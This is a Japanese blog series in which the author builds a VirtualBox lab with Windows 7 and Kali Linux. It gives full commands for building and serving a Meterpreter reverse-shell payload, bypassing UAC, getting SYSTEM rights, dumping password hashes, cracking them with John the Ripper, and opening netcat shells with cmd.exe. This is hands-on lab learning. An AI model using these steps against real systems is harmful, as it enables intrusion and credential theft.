パスワードハッシュの解析

パスワードハッシュの解析

KaliLinux にインストールされている
John the Ripper を使い辞書攻撃でパスワードを解析

今回は
John the Ripper 付属のパスワードファイルを使う

john --wordlist=/usr/share/john/password.lst --format:nt
 hash.txt 

しかし、これだけの情報だとパスワード解析に成功したアカウントはない

なお、解析結果については

john hash.txt --show

というように –show オプションをつけることで表示できる

次に John the Ripper の辞書ファイルへ追加してから解析をする

cp /usr/share/john/password.lst password.lst

で辞書ファイルをコピー

echo "Passw0rd!" >> password.lst 

で Passw0rd! を末尾に追記

john --wordlist=password.lst --format:nt hash.txt 

として使用するファイルを
password.lst に変更し再度実行すると

Passw0rd!        (Administrator)

の部分から
Administrator ユーザパスワードがPassw0rd!
であることがわかる

また
Kali LinuxでJohn The Ripper,hydraによるパスワード解析

では
hydra による解析も掲載されているので
こちらも参考に

Windows7 パスワードハッシュ入手

Windows7 パスワードハッシュ入手

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

これで Meterpreter セッションが確率される

この状態からパスワードハッシュを入手しようとしても
ユーザ権限が低いためエラーとなる

このため

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

接続中のMeterpreter セッションの確認には

sessions -i

で確認できる

このときに Id をみておくことで

sessions -i セッションID

とすれば
Meterpreter セッションに戻すことができる

今回なら

sessions -i 1

とすれば
Meterpreter セッションに戻すことができる

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

これで

getuid 

で現状のユーザIDを確認

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

あとはパスワードハッシュをダンプ

run hashdump 

実行結果をテキストファイルへ保存

今回は hash.txt というファイルへ保存

Metasploit Flamework その2

Metasploit Flamework その2

前回ペイロード作成までしたので続き

Windows7でIEを起動

http://KaLiLinux のIPアドレス/share にアクセス

今回なら
http://192.168.1.134/share/
へアクセス

すると evil.exe が表示されている

これが確認できたら
KaliLinux でリバースシェルの準備

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になる

これで KaliLinux の準備ができたので
次に Windows でファイルをダウンロードし
Run を実行

すると Windows 側では何もおきていないように見えるけど
KaliLinux 側では
meterpreter セッションが確率されたことが
Terminal で表示される

なお Windows 側でも

netstat -n | find "ESTABLISHED"

を Command Prompt で実行することで確認できる

これでwindows の遠隔操作が可能になる
操作に使っているのは
Meterpreter なので
Windows7 の Command Prompt ではないので注意

Metasploit Flamework

Metasploit Flamework

KaliLinux には 
Metasploit がインストールされているので

msfconsole 

を実行すると
msf コンソールが起動して利用することができる

msf5 > 

となっていれば起動成功

この状態で

banner 

と入力するとランダムでアスキーアートが表示される

show -h

でヘルプの表示

show exploits 

で Metasploit で使用できる Exploit が表示される

Metasploit に含まれるモジュールを実行するにはパスが必要

これには seach コマンドでパスの検索ができる

Windows 向け
TPC リバースシェル
ペイロード
という条件で探すなら

search type:payload reverse_tcp platform:windows

というようになる

次にペイロードの作成

これは
msfvenom コマンドを使う

このコマンドのオプションについては
https://ko-tech.net/hack/metasploit.html
を参考に

今回使用したオプションは
p ペイロードのパス
f 出力ファイル形式
o 出力ファイルパス
LHOST 接続先のIPアドレス

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 -f exe -o /root/Desktop/evil.exe

を実行すると
デスクトップに eveil.exe が作成される

つぎに
Windows からブラウザでこのペイロードにアクセスできるようにする

別の Terminal を ctrl + alt + t で開き

cd /var/www/html/
mkdir share
cp /root/Desktop/evil.exe share/
chmod -R 755 share/


share ディレクトリを作成し、ここへ evil.exe をコピーし
アクセス権限を変更

service apache2 restart 

でwebサーバーを再起動

Netcat 接続実験 その2

Netcat 接続実験 その2

Wndows7 と KaliLinux でリバースシェルの実験

KaliLinux で
ctrl + Alt +t で端末を起動

nc -lvp 5555


Netcat を待受状態で起動

また、別の端末を起動し

ifconfig

でIPアドレスを調べておく
inet と書かれている部分がIPアドレス

次に Windows7 で Command Prompt を起動し

cd C:Work
nc.exe 192.168.1.134 5555 -e cmd.exe

で nc で KaliLinux へ接続

すると KaliLinux 側の端末に Windows 7 のCommand Prompt が
表示される

これで

ipconfig

を実行すると Windows 7 のIPアドレスが表示される

なお、Windows7 側のCommand Prompt なので
他のコマンドなども使うことができる

接続終了するには
KaliLinux 側で exit を実行すればOK

Netcat 接続実験

Netcat 接続実験

Windows 7 試用版で
Command Prompt を開き

cd C:Work
nc.exe -lvp 5555

で netcat を起動

これに kaliLinux で接続できるか実験

本来はホストオンリーアダプタなどで実験するけど
設定がうまくできなかったので
ブリッジ接続で実験

IPは変動するので
Windows 側は

ipconfig 

でIPアドレスを把握

IPv4 Address の部分がIPアドレスになる
今回は
192.168.1.174

次に VirtualBox で KaliLinux を起動

ctrl + Alt + t で端末を起動し

nc 192.168.1.174 5555

で接続

すると
Windows 7 側で

netstat -an

を実行すると
5555ポートが ESTABLISHED になっていればOK

この状態で KaliLinux で hello と入力すると
Windows 側でも hello と表示される

また Windows 側で入力した
windows というメッセージも KaliLinux 側で表示される

なお Netcat を終了するには
ctrl + c でどちらかが接続を停止すると終了する

これを利用すれば
KaliLinux 側から
Windows の Command Prompt を操作することが可能

この実験をするために
Windows で Netcat をサーバとして起動させる
これには
-e オプションを使う

-e オプションで実行するプログラムを指定する

nc.exe -lvp 5555 -e cmd.exe

今回は Windows のシェルの cmd.exe を実行

これで KaliLinux で

nc 192.168.1.174 5555

で接続すると
Windows の Command Prompt が操作できるようになる

試しに Windows のファイル一覧を表示する dir コマンドを実行

すると現在のディレクトリの
Windowsのファイル一覧を表示することができる

なお終了するときには
KaliLinux 側で

exit 

を実行すればOK

なお、windows 側では
前回と異なり操作している状態が表示されない

この手法がバインドシェル
ただし、これだとファイアーウォールやルーターの影響を受ける

理由は外部から内部へのアクセスを制限しているため

Windows セキュリティの実験環境構築 その2

Windows セキュリティの実験環境構築 その2

仮想マシンでセキュリティの実験をするための構築

今回は Netcat
Windows7 試用版で使うために
Netcat for Windows をダウンロード

https://joncraton.org/blog/46/netcat-for-windows/
よりダウンロード可能

Download nc111nt.zip (password:nc) – Netcat for Windows
をクリックしてダウンロード

ダウンロードしたファイルを右クリック >
Extract All …

展開先を聞かれるので
今回は新規に作業ディレクトリを作ってから行うので
Make New Folder をクリック

これで Work というディレクトリを作成しOKをクリック

Extract をクリックするとここへ展開される

展開するときにパスワードを聞かれるので
nc を入力しOKをクリック

これで展開できるので
次に Command Prompt を起動し

cd C:Work

で展開先に cd コマンドで移動

nc.exe -h

を実行するとヘルプが表示される

次にポート5555で待ち受けるサーバーにする

nc.exe -lvp 5555

を実行

オプションに関しては
使いたいときに必ず忘れる便利なコマンド「nc」
https://ltside.com/kizyo/nc.html
を参考に

今回使用したオプションは
l 待受モード
v 情報を表示
p ポートを指定

というもの

実行すると
Windows Firewall が起動するので

Ptivate networks,such as my home or work network

Publick network such as those in airports and coffee shops( not recommended because these networks othen have little or no security)
にチェックを入れ
Allow access
をクリック

状態確認をしたいので
もうひとつ Command Prompt を開き

netstat -an

を実行

これで
5555ポートがLISTEN になっていればOK

なお、
Proto がプロトコル
Local Address がIPアドレス:ポート番号
Foreign Address が接続先のアドレス
State が状態

State が LISTEN なら待受状態になっている

Windows セキュリティの実験環境構築

Windows セキュリティの実験環境構築

Windows7 試用版に
Ssinternals Suite をインストール

これは
Windows トラブルシューティング ツール

https://docs.microsoft.com/ja-jp/previous-versions/bb842062%28v%3dmsdn.10%29
よりダウンロード可能らしいけど
ダウンロードしようとしても日本語版だとダウンロードできないので

英語版を
https://docs.microsoft.com/ja-jp/sysinternals/downloads/sysinternals-suite
からダウンロード

ダウンロードしたファイルを
VirtualBox の 仮想Windows マシンに
ドラッグドロップしたいので

VirtualBoxで
デバイス > ドラッグ&ドロップ >
双方向
として
あとはドラッグドロップすればOK

ファイル名は
SusinternalsSuite.zip

今回はデスクトップに配置
これを解凍するので
右クリック >  Extract all
で展開

これで Extract をクリックすればOK

これでデスクトップに
Sysinternal Suites が展開される

次に起動
Autoruns.exe
で起動

ライセンスに同意を求められるので
Agree をクリック

これで起動するときに
システムの各項目の取得をするので
起動には少し時間がかかる

なお Everythying タブには
自動起動関連の項目が表示されている

今後、どのように変化するか
ベースとなるファイルが必要なので
File > Save

ファイル名を
任意の名前で保存

_日付.arm
というように
日付などをいれるとログのようにわかりやすくなる

このファイルとの差分を調べることで
原因をさぐるのに役立つ

Windows7 仮想マシンの設定 その2

Windows7 仮想マシンの設定 その2

Windows7 試用版は
英語キーボードなので
日本語キーボードドライバーを適用する

スタートメニューで
devmgmt.msc
を入力し
デバイスマネージャを起動

Keyboards >
Standard PS/2 Keyboard
をクリック

Device タブの
Update Driver をクリック

Browse my conputer for driver software
をクリック

Let me pick from a list of device drivers on my computer
をクリック

Show cmpatible hardware
のチェックを外し

Manufacturerで
Standards keybords をクリックして

Model から
Japanese PS/2 (106/109 Key Ctrl + Eisuu)
を選択し
Next をクリック

Update Driver Warning の警告がでるけど
Yes をクリック

あとはダイアログがに従い close していくと
再起動するようにメッセージがでるので
yes をクリックすると
再起動されドライバーが適用される

しかし、このままだとキーボードは英語のままなので
システムの言語設定を日本語にする

スタートメニュー >
Control Panel で

Change display language をクリック

Administrative タブをクリックし
Change system locale.. をクリック

Japanese(Japane)
を選択しOKをクリック

設定を有効にするために
再起動するこを聞かれるけど
このままだとキーボードのデフォルトはENのままなので
デフォルトでJPになるように設定したいので
Cancel をクリック

Keyboards and Lanuages タブをクリックし
Change keyboards… をクリック

これで default input language を
Japanese(Japan) Microsoft IME にしてOKをクリック

あとは再起動して
JP となっていれば設定成功

Windows7 試用版のライセンス認証の猶予期間を延長

Windows7 試用版のライセンス認証の猶予期間を延長

Windows7 試用版は
ライセンス認証をしないと10日となっていて
これを超えると1時間で強制的にシャットダウンされる

猶予期間の確認には
Command Prompt を起動

slmgr /dlv
で確認ができる

Remaining Windows rearm count
がリセット可能回数

猶予期間のリセットには
slmgr /rearm

でできるらしいけど
Error:0xC004F025
Access Denied the requested action requires elevated privileges
となってしまう

このため
スタートメニューで Command Prompt を右クリック

Run as administrator

yes をクリック

これで
slmgr /rearm
を実行

これで再起動して
再度
slmgr /dlv
を実行すると
残り有効時間である Time remaining と

延長可能回数の Reamaining Windows rearm count
の回数が変わっているのが確認できる